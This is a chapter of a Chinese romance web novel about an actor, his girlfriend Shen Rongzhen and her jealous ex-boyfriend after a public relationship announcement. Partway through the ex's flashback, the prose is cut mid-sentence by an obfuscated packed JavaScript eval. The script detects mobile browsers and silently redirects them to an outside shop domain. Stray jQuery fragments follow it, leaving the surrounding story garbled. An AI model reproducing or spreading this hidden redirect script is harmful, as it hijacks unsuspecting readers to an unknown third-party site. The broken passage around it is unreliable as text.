9. 天堂
    黑色奔驰慢慢停在一家酒店旁,下车前,沈容臻取出墨镜架在徐嘉的鼻梁上,牵着他走了进去。前台微笑着将房卡递上,沈容臻接了过来。

    即便徐嘉一直戴着墨镜,可两人外形气质也足够亮眼,前台忍不住偷看,目送他们上楼。

    电梯里,徐嘉一直看着变幻的数字,想起了当初和沈容臻第一次在一起的情景,他紧张到连呼吸都错乱。

    五年的时间,可以让一个人由青涩变得成熟,也可以让另一个人的气息彻底融入他的骨血里。

    电梯门在两人面前打开,他和沈容臻十指相扣,他牵着人跑了起来,长腿踩在地毯上,有些急切和快慰,房卡贴合那瞬,他将唇送了上去,沈容臻揽住他的后颈,将人压向自己,沉溺地和他接吻,她惊讶于徐嘉的主动和热情,脚下一绊,昂贵的西裤被她压出皱褶。

    徐嘉仰着脸看她,她喜欢他这个模样,沈容臻居高临下,钳制住他的下巴,笑着看他,“今天这么急?”

    “想你。”

    他和沈容臻交往的时候如一张白纸,所有的一切都是沈容臻教的,她是个很好的老师,他难有逾越的那刻,只给出最真实的回馈。

    徐嘉说不清自己究竟是怎样的心情,似乎很矛盾,他自己选择了隐藏恋情,可真正宣布恋情的那刻,他仿佛才有了一种实感,他是属于她的,不再是那几个好友知道,所有人都在见证这一个事实。这样的认知让他感到前所未有的愉悦,他也迫切想到沈容臻的身边,和她拥抱,和她亲吻。

    可沈容臻却不说想他,只低着头看向他的颈子,顺着他黑色西服那个深v的设计看去,他向她索吻,沈容臻却按着他的肩膀,在他耳边问:“为什么穿成这样?”

    降下车窗的那刻,她的视线盯着眼前的男人,暗夜里太过性感,如一株艳极的蔷薇,让人想将他身上的刺拔去,花枝碾碎。

    衣服是许睿选的,深v领的设计,方便展示品牌的珠宝。徐嘉提前试穿过,和其他明星比起来,风格中规中矩不算太过。

    沈容臻摸着他颈边的珠宝,徐嘉将她的手指拿到手边亲吻,“有项链挡着,没有露出什么。”

    他说的是实话,可沈容臻却不依不饶,“那还是要罚的。”

    “怎么罚……”

    沈容臻笑了起来,话语带着蛊惑,“就戴着这套珠宝,穿着这身衣服,陪我。”

    徐嘉的眼神有些迷乱,“在哪里?”

    沈容臻往里面瞥了一眼,徐嘉搂着她坐起,边走边吻,直到了卧室,徐嘉这时才想起什么,挣扎着坐起,“这珠宝太昂贵,许睿说不能弄坏了。”

    沈容臻又将他按住,“那就告诉他,我买下来。”

    她低头亲吻他的额头,他的鼻尖,他的唇角,徐嘉揽住她的腰,那淡淡的香水味也变得浓郁。

    手机铃声不合时宜地在旁边响起,沈容臻看也不看便将其挂断,没过几秒又响起,执着得可怕,沈容臻看了手机一眼,慾念被打断,她伸手接起,而电话那头传出一个男人的声音。

    即便隔着距离,徐嘉依旧能够辨别出这声音的归属,只是少了在休息室中的那份镇定,多了些歇斯底里。

    电话那头的声音哽咽,像是喝了酒,言语错乱,不断质问着,“为什么,为什么你可以抽身而去,却把我困在了七年前,沈容臻,我恨你,我恨死你了……”

    沈容臻的沉默让她手边的男人不安,她打算结束通话,可那边的男人又在问,声音又大了些,“你在哪儿?告诉我你在哪儿?”

    那边还有劝解的声音,沈容臻似乎已经习惯了,“喻嘉言,喝了酒就回去睡觉,别到处发疯。”

    男人不断重复着那句话,沈容臻耐心耗尽,吐出两个字,“床上。”

    对面在静默了十几秒之后,终于传出了忙音的声响。

    沈容臻侧过头,只见徐嘉正望着他,眼里有不安,她再度俯身,吻住他。

    -

    酒店包房里,允泽看着角落里摔碎的手机,和眼前眼眸如血的男人,男人曲着长腿坐在地毯上,地上歪歪扭扭躺着许多空了的酒瓶,他的手按在喻嘉言的肩膀上,“都已经过去了,放过自己。”

    喻嘉言摇着头,“允泽哥,你是不是觉得我天生犯‖贱,非要追着沈容臻不可,其实当初我们也是好过的,我无数次的想,如果那时候我没那么心急,是不是她就不会离开我?我一想到这些就受不了,我爱她,我是真的爱她,我只是犯了一个小错,其实她不愿意订婚那就不订,我也没有一定要逼她,她为什么就不肯原谅我,为什么就此对我退避三舍?”他看着允泽,同他道:“你知道她有多心狠吗?”

    和沈容臻恋爱之后他才发现,沈容臻对他有着占有欲,或者说对自己的男朋友,他并不觉得这有什么不好,相反,他很喜欢她这个“缺点”。那时他甚至觉得,这也证明着,沈容臻比他想象的要爱他。

    可后来他才发现,占有欲并不等同于爱,而这个认知是沈容臻清楚明白让他知道的,也是在那件事之后,他开始恐慌,他怕有一天连这类似爱情的东西都失去。

    沈容臻在英国留学那几年,他作为男朋友一直陪着,有一次去学校接她的时候,意外碰见了一个大学时的女同学,异国他乡寒暄几句,可没想到正是这一次的偶遇,让那个女同学起了追求他的心思,他断然拒绝之后,那个人竟换了号码打来,他急忙挂断,而这一幕落入沈容臻的眼里。

    他忙着跟沈容臻解释,两人之间并没有什么,可沈容臻看上去并不高兴,而那时他甚至还同沈容臻玩笑一句,问她是不是吃醋了?

    可沈容臻的回话却让他一颗心坠入冰窟里,她就坐在靠窗的沙发上,侧着头看他,像和往常一样亲昵的称呼,“宝贝,我想你混淆了吃醋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175697|150551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和厌恶的情绪。我永远不会吃醋。你是我的,我不想有别的女人觊觎,因为一旦被人觊觎多了,可能这样东西我就不再想要了。而你们男人,却把这种不舒服的感觉称作吃醋。是不是有些好笑?”

    他们感情的开始是他主动,沈容臻本就是配合着长辈们的心意同他交往,可异国相处的这些日子,他能够感觉到沈容臻对他感情的变化,可也是这件事让他明白,沈容臻没有那么爱他,至少不如他爱得深,一旦这份浅淡的爱意消失,他将失去沈容臻,于是他试图用一种方式将两人绑在一起。可他选错了。

    允泽在另一边坐了下来,“可是她现在有男朋友……”

    喻嘉言唇角勾起一抹冷笑,“你说那个小明星?她会和他分手的。”

    城市已经入夜,酒店大床上,两人裸裎相对,徐嘉伸出手指描摹着她的眉骨,沈容臻拉下他的手,闭着眼睛道:“还不困?”

    只是满足之后,倒是想起还有一份旧账没翻,徐嘉声音闷闷的,“我今天可是见了你前男友。”

    沈容臻一点也没有被盘问的自觉,闭眸轻笑,“然后呢?”

    徐嘉不满她的云淡风轻,“他同我说了一些乱七八糟的事……”

    沈容臻侧过身来,好笑道:“既然你都知道是乱七八糟,还要我说什么?”

    “所以你就把香水到处送?”

    沈容臻自己都被气笑,不知是被眼前的男人,还是被那个挂断电话的男人,一个真敢编,一个真敢信,“虽然我从前的确送过乱七八糟的礼物,但送香水这事是头一遭。”

    果然被那个男人摆了一道,徐嘉冷笑一声,“他有病吧。”

    沈容臻很想赞同地点点头,但分手不出恶言,也是做人的标准和底线,也没有过多解释,只道:“总之,他嘴里说了什么,你都不要信。不过,如果你想相信,那也和我没什么关系。”

    难得有这样静静相处的时候,沈容臻忽然道:“你搬来H市和我同居吧?”

    沈容臻这话一出,徐嘉却不可自抑地想起了喻嘉言的话,问他了解沈家那些事吗?

    徐嘉不肯正面回答,只是道:“下个月电影就要开机了,前两天我问了导演,她说许多场取景都在Z市,到时候我们见面会很方便。”

    喻嘉言的存在诚然让他厌恶,可却像一面镜子,胜利的人照见的是天堂,失败的人照见的是地狱。他害怕自己有一天也会成为喻嘉言那样的人。

    沈容臻就是这样,说出的话不见得非要勉强对方,“好啊。”

    沈容臻说完慢慢睡着了,徐嘉俯身吻着她的额发,沈容臻便是有这个魔力,让前男友这样念念不忘,还挑衅到他的面前。七年,真是漫长,比交往的时间还久,而他又要用多少年才能接受自己失去这个女人。明明刚刚亲热过,和她缠绵相拥,可离得越近越害怕,甚至比在S市时还要患得患失。